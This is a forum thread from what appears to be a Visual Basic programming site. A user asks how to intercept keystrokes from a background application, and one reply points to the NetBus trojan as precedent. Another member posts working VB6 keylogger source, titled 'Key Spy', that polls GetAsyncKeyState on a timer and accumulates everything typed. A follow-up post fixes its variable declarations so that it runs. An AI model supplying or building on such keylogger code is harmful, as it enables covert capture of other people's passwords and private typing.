Results 1 to 5 of 5

Thread: Keyboard

  1. #1

    Thread Starter
    Hyperactive Member
    Join Date
    May 2001
    Location
    Beirut, Lebanon
    Posts
    318

    Question Keyboard

    Hi all,

    How can I not let a key stroke to reach to an application.

    In other workd, can I consume a keyboard input before reaching other applications.

    P.S.: My application is running in the backgound.

  2. #2
    assbeef
    Guest
    I searched for a long time but I couldn't find squat. I know such a thing exists. I mean you can do it through NetBus, so it must be possible.

  3. #3
    Frenzied Member Vlatko's Avatar
    Join Date
    Aug 2000
    Location
    Skopje, Macedonia
    Posts
    1,409
    Not to let a key reach an app you need to install a global hook ( you need a C++, asm or delphi standarad windows dll). To consume a keyboard input but not stopping it from going to other apps make a simple keylogger
    VB Code:
    1. 'In a module
    2.  
    3. Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
    4. Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
    5. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    6.  
    7. Dim Tel As Long
    8. Function GetPressedKey() As String
    9.     For Cnt = 32 To 128
    10.         'Get the keystate of a specified key
    11.         If GetAsyncKeyState(Cnt) <> 0 Then
    12.             GetPressedKey = Chr$(Cnt)
    13.             Exit For
    14.         End If
    15.     Next Cnt
    16. End Function
    17. Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    18.     Ret = GetPressedKey
    19.     If Ret <> sOld Then
    20.         sOld = Ret
    21.         sSave = sSave + sOld
    22.     End If
    23. End Sub
    24.  
    25. 'In a form
    26. Private Sub Form_Load()
    27.     Me.Caption = "Key Spy"
    28.     'Create an API-timer
    29.     SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
    30. End Sub
    31.  
    32. Private Sub Form_Unload(Cancel As Integer)
    33.     'Kill our API-timer
    34.     KillTimer Me.hwnd, 0
    35.     'Show all the typed keys
    36.     MsgBox sSave
    37. End Sub
    I am become death, the destroyer of worlds.
    mail:[email protected]

    • Visual Basic 6.0 & .NET
    • Visual C++ 6.0 & .NET
    • ASP
    • LISP
    • PROLOG
    • C
    • Pascal

  4. #4
    DaoK
    Guest
    Why I see nothing in the message box?

  5. #5
    Frenzied Member Vlatko's Avatar
    Join Date
    Aug 2000
    Location
    Skopje, Macedonia
    Posts
    1,409
    Use this declarations
    VB Code:
    1. Global Cnt As Long, sSave As String, sOld As String, Ret As String
    I am become death, the destroyer of worlds.
    mail:[email protected]

    • Visual Basic 6.0 & .NET
    • Visual C++ 6.0 & .NET
    • ASP
    • LISP
    • PROLOG
    • C
    • Pascal

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width